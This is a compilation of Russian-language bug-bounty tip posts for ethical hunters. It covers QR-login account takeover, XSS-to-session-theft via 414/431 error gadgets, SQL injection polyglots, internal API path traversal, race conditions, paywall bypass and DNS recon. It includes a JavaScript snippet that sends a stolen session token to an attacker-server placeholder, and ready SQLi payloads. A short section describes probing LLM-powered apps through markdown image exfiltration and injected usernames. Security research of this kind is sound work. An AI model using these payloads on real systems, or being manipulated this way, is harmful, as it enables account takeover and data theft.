Standoff Bug Bounty Tips

Account Takeover через QR-код 👀

Во многих мобильных приложениях есть удобная фича: вход через QR-код. Без email и пароля. Навёл камеру — вошёл. И именно здесь неправильная реализация может привести к ATO.

🔍 Типичный кейс:

QR-код можно отсканировать сторонним приложением → в ответ возвращается ссылка с токеном авторизации:

https://app.com/token/...

🔓 Как показать импакт:

1️⃣ Ссылку с токеном отправляешь жертве через мессенджер

2️⃣ Жертва открывает её со своего телефона → сессия автоматически подтверждается

3️⃣ Сессия жертвы привязывается к браузеру атакующего без дополнительных проверок

Итог: полный account takeover, реализованный только через QR-login, в один клик 🚨

Нашел XSS, но тебя блочит Content Security Policy ❓

На cspbypass ты найдешь полную коллекцию рабочих кейсов по обходу политики защиты контента.

Сервис поможет найти любые задокументированные эндпоинты JSONP для достижения XSS ⤵️

XSS → ATO через Server Size Errors Gadgets 💣

Если ты нашел XSS, но HttpOnly не даёт читать cookie и явных путей к ATO нет, стоит проверить ещё один нестандартный вектор — эскалацию через серверные лимиты ⤵️

У серверов есть ограничения на объём данных, которые они готовы обработать:

⚫️ 414 URI Too Long — URL превышает допустимую длину
⚫️ 431 Request Header Fields Too Large — заголовки (чаще всего Cookie) слишком большие

Сами по себе это не уязвимости. Но в связке с XSS и URL-based auth они превращаются в интересный вектор.

➡️ Атака через 414

Сценарий
При переходе между брендами одной компании сессионный токен передаётся через URL:

1-brand.com → генерирует token → редирект на 2-brand.com?token=XXX → логин

Ключевое допущение системы — редирект всегда дойдёт до конца.

Эксплуатация
1. XSS на 1-brand.com позволяет управлять параметром url
2. URL намеренно раздувается мусорными символами
3. Сервер добавляет ?token=...
4. Итоговая длина превышает лимит
5. Сервер возвращает 414, редирект обрывается
6. JavaScript читает response.url → токен у атакующего

Итог: XSS → утечка session token → ATO

<script>
    const u = "https://1-brand.com/s/Sites-1-brand-Site/dw/shared_session_redirect?url=https://1-brand.com/";
    const r = await fetch(u + "A".repeat(1912));
    const t = new URLSearchParams(r.url).get("token");
    console.log("session token = " + t);
    fetch("http://ATTACKERS_SERVER/"+t);
</script>

➡️ Атака через 431

Если управлять URL нельзя, можно атаковать через заголовки.

Пример логики
1. Middleware на каждый запрос добавляет служебную Cookie
2. XSS удаляет её и создаёт несколько больших Cookies
3. На следующем запросе middleware добавляет свою Cookie обратно
4. Общий размер Cookie превышает лимит сервера
5. Сервер отвечает 431
6. Редирект обрывается → токен остаётся в URL → утечка

Снова: ошибка сервера → обрыв логики → токен доступен JS

<script>
    document.cookie = "UserExperience=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";
    document.cookie = "x="+"A".repeat(4095);
    document.cookie = "y="+"B".repeat(4027);

    const e = await fetch("http://localhost:8000/share_redirect", { credentials: "include"});
    const r = new URL(e.url);
    const t = r.searchParams.get("token");
    console.log("secret = " + t);
</script>

SQL Injection Polyglots 💨

Полиглот-пэйлоады — это способ проверить несколько вариантов одной уязвимости одним запросом. Полезно на этапе ресерча: экономит время и быстро дает сигнал, есть ли вообще точка инъекции.

Суть простая: вместо отдельных запросов без кавычек, с одинарными и двойными кавычками, используем один пэйлоад, который «выживает» во всех контекстах.

➡️ Минимальный пример, известный ещё с Ruxcon

AND 1=0 --' AND 1=0 --" AND 1=0 --

➡️ Другой пример с BlackHat

OR 1#"OR"'OR''='"="'OR''=' 

➡️ MariaDB/MySQL: всего 6 байт

'='"="

➡️ SQLite

'<>'"<>"

Двойные кавычки в SQLite можно использовать как для строковых литералов, так и для идентификаторов, в отличие от MariaDB/MySQL, которая всегда обрабатывает их как строковые литералы.

➡️ MariaDB/MySQL + SQLite

Для полиглота, работающего с одинарными и двойными кавычками как в SQLite, так и в MariaDB/MySQL, можно использовать следующий код:

'OR'1"OR"1

Для того чтобы полиглот работал и без кавычек, используется оператор + для исправления синтаксических ошибок, а затем добавляется =0 для получения истинного результата.

'OR'+1+"OR"+1=0

Path traversal через внутреннюю переадресацию API 🎆

В микросервисных приложениях фронт или gateway часто не обрабатывают запрос самостоятельно, а проксируют его во внутренний API. Именно здесь появляется нетривиальная поверхность атаки.

Как это выглядит ⤵️

Пользователь отправляет POST-запрос /edit_user:

{
  "user_id": "456",
  "username": "poc"
}

Сервер берет user_id и собирает внутренний запрос:

POST /api/v1/users/456

Если путь к внутреннему API формируется из пользовательского ввода, пробуем path traversal:

{
  "user_id": "../../admin/roles",
  "username": "poc"
}

В итоге бэкенд может обратиться к:

/api/v1/admin/roles

На выходе:

➡️ Обход роутинга
➡️ Доступ к внутренним или привилегированным эндпоинтам
➡️ Без прямого доступа к бэкенду

Даже если сервер не возвращает полный ответ от внутреннего API, многие приложения всё равно отдают коды статуса, флаги успешности или общие сообщения вроде Permission denied.

В более продвинутых кейсах внутренний API может обладать более высокими привилегиями или доступом к ограниченным эндпоинтам.

Как и при эксплуатации SSRF, ты используешь приложение в качестве прокси для обращения к внутренним сервисам — но уже через манипуляцию путями, а не через контроль URL.

Такой внутренний path traversal становится ещё опаснее, если его цеплять с уязвимостями вроде IDOR (для определения валидных путей к ресурсам) или с ошибочно настроенным контролем доступа (для эксплуатации внутренних ролей или токенов).

В конечном счете ты эксплуатируешь не файловую систему напрямую — ты перехватываешь логику бэкенда, заставляя его перемещаться по внутренним API-роутам способами, на которые он не был рассчитан.

Recon в веб-приложениях с поддержкой AI 😵

AI встраивается в приложения повсеместно. Старые багбаунти-программы стоит пересматривать с фокусом на LLM-фичи — эти поверхности атаки пока слабо изучены.

Начинать стоит с разведки: понять, как именно интегрирована модель и какие точки взаимодействия действительно доступны.

1️⃣ Используй приложение в штатном режиме и составь карту его поведения

Документация, changelog-и, ответы и сообщения об ошибках помогают идентифицировать модель и выявить кастомную логику.

2️⃣ Проверь рендеринг Markdown

Если приложение поддерживает Markdown, проверь, рендерит ли оно HTML или ссылки на изображения. Обращение модели к твоему серверу может привести к утечке сессионных данных или внутренних параметров.

3️⃣ Внедряй пэйлоад в нетипичных местах

Например, в имени пользователя. Некоторые модели отражают эти данные в ответах, особенно если контекст переиспользуется между сессиями или тредами.

4️⃣ Применяй социальную инженерию к модели

Спроси, что она умеет, оформив вопрос как легитимный пользовательский запрос — часто она сама подробно рассказывает о своём функционале.

💡 LLM всё чаще встраивают во флоу поддержки. Старые данные разведки стоит перепроверить по ключевым словам вроде contact us.

Первичный анализ любого APK-файла: советы багхантеру 📞

Если в скоуп багбаунти-программы входят мобилки — никогда не проходи мимо. Вот основные шаги перед началом анализа исходников:

1️⃣ Проверка подлинности и целостности APK

Прежде чем тратить время на анализ, убедись, что код подлинный:

apksigner verify --print-certs target.apk

Команда выводит отпечаток сертификата подписи — сравни его с официальной версией.

2️⃣ Распаковка и анализ структуры APK с помощью APKTool

APKTool разбирает APK на читаемые компоненты: манифест с разрешениями и компонентами, ресурсы интерфейса и конфигурации, а также Smali-код — представление логики приложения на уровне байткода.

Прежде чем читать код, нужно понять архитектуру приложения. Какие компоненты доступны извне? Какие разрешения запрашиваются? Какие ресурсы могут утекать? APKTool отвечает на эти вопросы.

3️⃣ Распаковка APK

apktool d target.apk -o target_unpacked

В результате появится структура:

⚫️ AndroidManifest.xml — декларация компонентов, разрешений и настроек
⚫️ res/ — ресурсы интерфейса, строки, XML-конфигурации
⚫️ smali/ — дизассемблированный байткод
⚫️ lib/ — нативные библиотеки под разные архитектуры
⚫️ assets/ — дополнительные файлы: базы данных, конфиги, медиа

4️⃣ Извлечение полезной информации из ресурсов

Ресурсы часто раскрывают больше, чем планировали разработчики. Изучай res/values/strings.xml, res/xml/ и другие файлы — туда нередко попадают staging-серверы, dev-эндпоинты и внутренние API.

Пример:

<string name="api_base_url">https://api-staging.target.com</string>
<string name="debug_endpoint">https://internal-admin.target.com</string>

Такие эндпоинты часто защищены слабее прода. Нередко они принимают боевые токены или допускают обход аутентификации.

5️⃣ Автоматический парсинг URL

Вместо ручного просмотра используй apk2url:

git clone https://github.com/n0mi1k/apk2url
./apk2url.sh /path/to/target.apk

Тулза автоматически парсит все URL из кода и ресурсов, формируя список потенциальных API-точек для дальнейшего исследования.

Теперь ты понимаешь структуру приложения: его компоненты, разрешения и точки взаимодействия с сетью. Но структура не показывает логические ошибки и реальное поведение кода — для этого нужно разбираться в реализации 💡

⤴️ Наши скромные итоги за прошлый год. Собрали подборку топовых постов по разным категориям

По реакциям 👏

⚫️ 0-Click Account Takeover с использованием атаки Punycode IDN Homograph
⚫️Эксплуатация IDOR через Path Traversal
⚫️Простой способ обхода CSRF
⚫️SQLi -> RCE: как раскрутить SQL-инъекцию до RCE
⚫️Скрытые параметры запросов в действии
⚫️HTTP request smuggling: подтверждение баги CL.TE через дифференцированные ответы
⚫️Простые, но действенные методы разведки для багхантера
⚫️Blind XSS в приложениях, разработанных с помощью JavaScript-фреймворков
⚫️Пять простых способов найти баги в веб-приложении с GraphQL

По репостам 🔄

⚫️ Гайд по разведке внешнего периметра: от поиска IP-адресов до брутфорса поддоменов
⚫️ Эксплуатация XSS без скобок и точек с запятой
⚫️ Малоизвестные техники для масштабного перечисления поддоменов
⚫️ Статический анализ JavaScript для багхантера
⚫️ Как найти баги в API: 12 проверенных способов

По комментариям 💬

⚫️Один из самых простых кейсов при поиске багов в API… который многие почему-то игнорируют
⚫️ Эксплуатация уязвимостей в системах электронной почты
⚫️ Где все API-эндпоинты? 6 советов для улучшения разведки API
⚫️SQLi -> RCE: как раскрутить SQL-инъекцию до RCE
⚫️ LFI с помощью text: в ImageMagick
⚫️ Почему в ходе разведке нельзя игнорировать редиректы
⚫️ Эксплуатация JSON web tokens: от теории к практике

Дальше — больше 🚀

Автоматизация покрывает известные баги, новые — находит ручной анализ 💡

6 ручных кейсов для поиска новых векторов атак👇

1️⃣ Переосмысление «невозможного»

Ищи в документации формулировки вида «X не может делать Y». Это не запрет — это предположение разработчиков.

Часто именно здесь:

⚫️ Ошибки в ролевых моделях
⚫️ Обходы проверок
⚫️ Слабые enforcement-механизмы

2️⃣ Обход paywall’ов

Купи доступ один раз. Проанализируй, какие API-запросы реально включают платные фичи.

Дальше:

⚫️ Повтори их с бесплатного аккаунта
⚫️ Проверь, нет ли только фронтенд-проверок

Да, не все программы это принимают. Но финансовый ущерб = реальный риск для бизнеса.

3️⃣ «А что это за библиотека?»

Нашел интересный эндпоинт — начинай фаззить, чтобы бэкенд вернул какие-то ошибки: копируй точный текст ошибки/исключения и ищи в GitHub, чтобы понять, какая именно библиотека используется.

Дальше:

⚫️ Изучай исходники
⚫️ Смотри закрытые issues
⚫️ Проверяй зависимости

4️⃣ Ломай UI-логику

Создавай состояния, которые UI «не должен» показывать.

Не ограничивайся false → true:

⚫️ Меняй значения постепенно
⚫️ Подставляй неожиданные коды подписки
⚫️ Меняй баланс, статусы, флаги

Смотри, как приложение реагирует, а не что рисует UI.

5️⃣ Используй приложение как обычный пользователь

Медленно. Вручную. Через прокси. Параллельно фиксируй идеи:

⚫️ HTML запрещён при регистрации — а при редактировании профиля?
⚫️ UI блокирует — а API?
⚫️ Один флоу проверил, а альтернативный?

Логика пользователя ≠ логика разработчика.

6️⃣ Анализируй ответы сервера

Сравнивай, что вернул бэкенд, а что — фронт.

Типичные находки:

⚫️ Скрытые данные на фронте
⚫️ Флаги beta-фич
⚫️ «Странные» свойства без UI

Фронт часто просто не показывает лишнее, но сервер уже всё выдал.

В HTTP-запросах почти всегда есть мусор:
автогенерированные заголовки, дубликаты, лишний контекст. Удалять их по одному и каждый раз проверять ответ — слишком долго 💤

Header Guardian (Burp Suite) или Squash (Caido) автоматически очистят запросы от ненужных заголовков, оставляя только то, что реально влияет на поведение сервера.

🏃‍♂️ При активации Squash запускает фоновую задачу, которая:

⚫️ Отправляет исходный запрос

⚫️ Итеративно удаляет параметры запроса, поля формы, JSON и заголовки (включая отдельные файлы cookie)

⚫️ Сравнивает ответы, чтобы выявить инвариантное поведение

⚫️ Сохраняет только те поля, которые необходимы для сохранения исходного ответа

⚫️ Отправляет минимизированный запрос в новую вкладку Replay для просмотра и тестирования

Почему в ходе разведке нельзя игнорировать редиректы ❓

Мы привыкли к подходу:

Есть домен в скоупе — смотрим его. Нет в скоупе — идем дальше.

Что, если подойти к процессу поиска багов в стиле red team?

💡 Предположим, во время разведки тебе под руку попался странный ресурс:

⚫️ В имени нет названия компании
⚫️ Но он делает 302-редирект на домен компании
⚫️ Домен не резолвится

Формально он не входит в скоуп, но фактически может являться частью инфраструктуры.

Как помогает urlscan.io

urlscan.io позволяет смотреть на цель как на систему, а не как на один URL. Он показывает:

⚫️ Все редиректы и переходы
⚫️ Домены и IP, с которыми общается страница
⚫️ Загружаемые JS, CSS и сторонние ресурсы
⚫️ Сookies, DOM, JS-переменные
⚫️ Облачные ресурсы, которые не видно через DNS

Таким образом, даже если домен не резолвится, редирект или связанный ресурс всё равно может существовать.

Почему это расширяет скоуп 🥳

Когда ты анализируешь редиректы:

✔️ В скоуп попадают активы без прямой связи по имени
✔️ Находятся облачные ресурсы, забытые хосты, dev-стенды
✔️ Появляется возможность связать тот самый непонятный ресурс с целевой организацией

Иногда самое интересное — между запросами, а не в ответе 💲

Распространенные векторы атак race condition в веб-приложениях 🤔

Race condition редко находятся автоматическими сканерами. Это уязвимости не про пэйлоад, а про тайминг, состояние и бизнес-логику.

Проще, когда есть доступ к исходникам. Но на практике багхантер почти всегда работает вслепую — через поведение приложения.

Ниже — два рабочих вектора, которые чаще всего выстреливают 💸

HTTP/1.1 last-byte синхронизация

Атака эксплуатирует то, как сервер обрабатывает частично отправленные запросы.

Сценарий:

✅ Открыть первый запрос и удерживать соединение (не отправлять весь контент сразу).

✅ Отправить второй запрос в момент, когда первый ещё обрабатывается.

✅ Добиться перекрытия операций проверки и изменения состояния.

Так ломаются проверки лимитов, купоны, списания и другие бизнес-процессы.

HTTP/2 single-packet атаки

HTTP/2 ускоряет запросы, но даёт атакующему контроль над таймингом.

Сценарий:

✅ Отправлять несколько запросов по одному соединению, удерживая часть данных.

✅ После паузы завершить все запросы одновременно одним TCP-пакетом.

✅ Минимизировать сетевой джиттер и повысить стабильность гонки.

Метод особенно эффективен против логики, не рассчитанной на параллельность.

Что можно сломать

Последствия race condition чаще всего логические:

➖ двойное списание средств;
➖ повторное применение купонов и бонусов;
➖ обход ограничений и лимитов;
➖ неконсистентное состояние данных,
➖ DoS и ошибки контроля доступа,

По импакту такие баги часто уходят в high или critical.

P. S. Для эксплуатации используй Burp Suite Turbo Intruder, а практику оттачивай на Web Security Academy 😓

Малоизвестные техники для масштабного перечисления поддоменов 🔥

Активная DNS-разведка обычно сводится к следующему набору:

❌ хороший словарь (Assetnote, SecLists и т.д.),
❌ список «проверенных» публичных рекурсивных DNS-серверов,
❌ инструмент для массовых DNS-запросов: massdns, puredns, shuffledns.

Публичные DNS-серверы слушают UDP/53 и принимают запросы со всего интернета. Многие из них перегружены, неправильно настроены, либо намеренно возвращают ложные ответы.

Результат — шум, NOERROR там, где должен быть NXDOMAIN, и куча мусорных поддоменов.

Что лучше?

Запросы напрямую к авторитативному DNS-серверу почти всегда лучше, чем использование публичных рекурсивных резолверов.

Если тебе нужно просто резолвить список поддоменов — используй zdns. Он в целом быстрее и надёжнее , чем dnsx.

Техники для глубокой разведки 💃

1️⃣ ENTs и NOERROR

В DNS есть промежуточное состояние, которое большинство инструментов игнорирует: Empty Non-Terminals. Они возвращают NOERROR / NODATA и незаметно показывают, какие ветки иерархии реально существуют.

Отлично подходят для поиска скрытых поддеревьев и позволяют избежать бесполезного фаззинга.

2️⃣ NSEC / NSEC3 zone walking

NSEC формирует связанный список валидных имён, поэтому обход зоны тривиален с инструментами вроде ldns-walk. NSEC3 хеширует имена, но всё ещё позволяет:

▪️собирать хешированные метки,
▪️офлайн брутфорсить их с помощью инструментов вроде nsec3map,
▪️восстанавливать структуру зоны.

3️⃣ ICANN CZDS

CZDS предоставляет полные файлы зон для множества gTLD. Если твой таргет использует редкий TLD, часто можно получить все домены в зоне и сразу получить качественные точки старта для перечисления.

🔗 Пост вдохновлен этой презентацией